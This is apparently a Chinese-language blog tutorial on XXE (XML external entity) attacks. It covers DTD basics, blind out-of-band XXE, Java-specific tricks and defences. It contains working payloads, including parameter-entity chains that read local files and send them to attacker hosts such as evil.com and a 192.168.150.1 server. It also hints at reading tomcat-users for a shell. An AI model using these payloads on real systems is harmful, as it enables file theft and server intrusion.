XXE总结(小部分自己的)
xml xxe    2015-09-17 04:33:29    3481    0    0
xuxi   xml xxe

前置知识

了解了XML, Entity, DCOTYPE, DTD等这些基础知识

一、xml格式说明

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。


 

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。


内部声明DTD


<!DOCTYPE
 根元素 [元素声明]>


引用外部DTD


<!DOCTYPE
 根元素 SYSTEM "文件名">


或者


<!DOCTYPE
 根元素 PUBLIC "public_ID" "文件名">

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。


内部声明实体


<!ENTITY
 实体名称 "实体的值">


引用外部实体


<!ENTITY
 实体名称 SYSTEM "URI">


或者


<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

 

CDATA

CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。

 

某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:

 

二、XXE

1、参数实体和内部参数实体

XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。

参数实体的示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://evil.com'>">
%param1;
]>
<root>
<test>[This is my site] &internal;</test>
</root>

参数实体param1中包含内部实体的声明,用于替代<test>标签中的实体引用参数。

这里,一定要注意流程,参数实体在DTD中解析是优先于XML文本中的内部实体解析。

参数实体有几个特性,这几个特性也决定了它能被利用的程度:

  • 只能在DTD内部 
  • 立即引用
  • 实体嵌套

 

而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

 

关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 &#37;  如下:

<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'
&#37;也可写为16进制&#x25;
 
另:内部实体的这支持与否也是取决于解释器的,参考链接4

2、XML中的协议支持

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

 

3、XXE的几种引入方式

恶意引入外部实体方式1:

XML内容:



 

恶意引入外部实体方式2:

XML内容:




DTD文件(evil.dtd)内容:


 

恶意引入外部实体方式3:

XML内容:




DTD文件(evil.dtd)内容:


 
 
 

4、bllind xxe

主要参考链接5链接6接7链接10

(1)原理说明

对于传统的XXE来说,要求在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,例如上述方式一。
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据(Out-Of-Band)。
但直接在内部实体定义中引用另一个实体的这种方法行不通
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
 
最简单的无非是通过参数实体引用,发送一个http请求到我们服务器,然后观察我们服务的日志
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evil.com/blind_xxe_test">
%remote;]>
<root/>
如果在服务日志上能接收到则说明存在漏洞
于是考虑内部实体嵌套的形式:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
 

但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

和引入方式三有些雷同,如下:

src.xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>​

evil.xml

 <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">​

实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。

 

另外一种方法是使用CDATA,但是并非像wooyun文章说的那样可以读取任意值

(2)读任意文件

php://filter/convert.base64-encode/resource=想要读取的文件路径

(3)java中的应用

  • file:///可以列目录

 

  • OOB

   gopher(1.7u7, 1.6u32以前|7u9 6u37以前 ?),配合nc;其他情况用ftp

 

  • 上传文件

    需要进行长链接,通过jar协议(jar:http://127.0.0.1/xxe.jar!/)

    jar协议格式:

jar:{url}!{path}​

    ! 后面就是其需要从中解压出的文件

    https://github.com/pwntester/BlockingServer 

 

    怎么找到这个临时的文件?

    报错的形式,!后面跟不存在的内容

 

 

 

  • ftp oob
  • (在jdk 1.6.35,可以读取tomcat-users,如果管理页面不删,你懂的^_^,版本如果高于前述情况,也应该能读取) 

 

 PS:1.6.31以下是不行的

 PS:因此,结合文件上传和gopher协议来看,基于tomcat成功的getshell,主要因素在于jdk版本,成功的范围很小

 

  • 读XML标签及属性值,前提是内部需要设置 factory.setValidating(true)

例1:读取属性值

xml文档中的标签属性需通过ATTLIST为其设置属性
语法格式:
<!ATTLIST 元素名 属性名 属性值类型 默认值>

 <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE tomcat-users [
<!ELEMENT role EMPTY>
<!ELEMENT user EMPTY>
<!ATTLIST user 
 username (a|b) #REQUIRED 
 password (a|b) #REQUIRED 
>
]>
<tomcat-users>
 <role rolename="tomcat"/>
 <user username="tomcat" password="tomcat" roles="tomcat"/>
</tomcat-users>​

 java Xerces方法的解析结果为(其他解析方式不行):

Warning: validation was turned on but an org.xml.sax.ErrorHandler was not set, which is probably not what is desired. Parser will use a default ErrorHandler to print the first 10 errors. Please call the 'setErrorHandler' method to fix this.
Error: URI=null Line=10: Element type "tomcat-users" must be declared.
Error: URI=null Line=11: Attribute "rolename" must be declared for element type "role".
Error: URI=null Line=12: Attribute "username" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "password" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "roles" must be declared for element type "user".

 

实际运用时,是没办法解析tomcat-users.xml的文档的,因为会把 XML 声明代入而造成解析出错

 

例2:定义标签顺序报错

参考链接11


具体示例如下:
首先建立DTD文件

文件名:person.dtd
文件内容:

<?xml version="1.0" encoding="utf-8" ?>
<!ELEMENT person (name, sex, birthday)*>
<!ELEMENT name (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT birthday (#PCDATA)>​



然后建立两个利用这个dtd文件的xml文件
1,文件名:person.xml
文件内容:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
    <name>tom</name>
    <sex>male</sex>
    <birthday>1949-10-01</birthday>
</person>​



2,文件名:worker.xml
文件内容:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
    <name>tom</name>
    <sex>male</sex>
    <birthday>1949-10-01</birthday>
    <job>it</job>
</person>​



我们可以看到worker.xml文件不符合dtd的规定,多了一个job的标签。

然后建立java文件
文件名:ValidateXMLDTD.java

package xmlvalidate;
import java.io.FileNotFoundException;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.SAXException;
public class ValidateXMLDTD {
 
 public static void main(String[] args) {
// System.out.println("测试符合DTD规范的XML文件");
// testPerson();
 
// System.out.println("测试不符合DTD规范的XML文件");
// testWorkder();
 
 }
 
 public static void testPerson() {
 try {
 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
 dbf.setValidating(true);  //这里很重要
 DocumentBuilder db = dbf.newDocumentBuilder();
 db.parse(new java.io.FileInputStream("person.xml"));
 } catch (FileNotFoundException e) {
 // TODO Auto-generated catch block
 e.printStackTrace();
 } catch (ParserConfigurationException e) {
 // TODO Auto-generated catch block
 e.printStackTrace();
 } catch (SAXException e) {
 // TODO Auto-generated catch block
 e.printStackTrace();
 } catch (IOException e) {
 // TODO Auto-generated catch block
 e.printStackTrace();
 }
 }
 
 public static void testWorkder() {
 try {
 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
 dbf.setValidating(true);
 DocumentBuilder db = dbf.newDocumentBuilder();
 db.parse(new java.io.FileInputStream("worker.xml"));
 } catch (FileNotFoundException e) {
 // TODO Auto-generated catch block
 e.printStackTrace();
 } catch (ParserConfigurationException e) {
 // TODO Auto-generated catch block
 e.printStackTrace();
 } catch (SAXException e) {
 // TODO Auto-generated catch block
 e.printStackTrace();
 } catch (IOException e) {
 // TODO Auto-generated catch block
 e.printStackTrace();
 }
 }
}​

 修改一下main方法中的注释语句,运行一下,执行结果:
运行testPerson的时候,只输出:
测试符合DTD规范的XML文件

而运行testWorker的时候,输入如下内容:
测试不符合DTD规范的XML文件
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not
set, which is probably not what is desired.  Parser will use a default
ErrorHandler to print the first 10 errors.  Please call
the 'setErrorHandler' method to fix this.
Error: URI=null Line=7: Element type "job" must be declared.
Error: URI=null Line=8: The content of element type "person" must match "(name,sex,birthday)*".

 

5、xxe的应用

形式多样化(RSS,ATOM,OpenDocument,XML-RPC,SOAP,SAML,SVG,XML import,etc)
 
svg格式的图片在光栅化的过程,找例子(后续寻找),下面是pnig0s的例子

 

 

XXE漏洞的利用方式基本相同:读取文件;DOS;SSRF;命令执行(PHP环境里expect扩展),详情可以参看链接3
 

四、防御XXE攻击


方案一、使用开发语言提供的禁用外部实体的方法


PHP:

libxml_disable_entity_loader(true);


JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);


Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

方案二、过滤用户提交的XML数据

      
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

 

五、参考链接

1、http://www.w3school.com.cn/xml/

2、http://hivesec.net/web-security/%e5%85%b3%e4%ba%8eblind-xxe.html

3、http://security.tencent.com/index.php/blog/msg/69

4、http://blog.csdn.net/u011721501/article/details/43775691

5、http://defcon.org.ua/data/2/2_Vorontsov_XXE.pdf

6、http://www.slideshare.net/d0znpp/hack-pra-0512blindxxe

7、http://open.freebuf.com/inland/425.html

8、https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

9、http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf

10、http://drops.wooyun.org/tips/5290

11、http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf

12、http://blog.csdn.net/a9529lty/article/details/6671364

13、http://www.freebuf.com/articles/web/97833.html

14、http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

 

 补充

一个练习平台

 https://pentesterlab.com/exercises/play_xxe

 相关工具

http://www.freebuf.com/articles/web/86007.html

https://github.com/GDSSecurity/xxe-recursive-download

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

上一篇: PowerShell因为在此系统中禁止执行脚本解决方法

下一篇: 无

3481 人读过
立即登录, 发表评论.
没有帐号? 立即注册
0 条评论
文档导航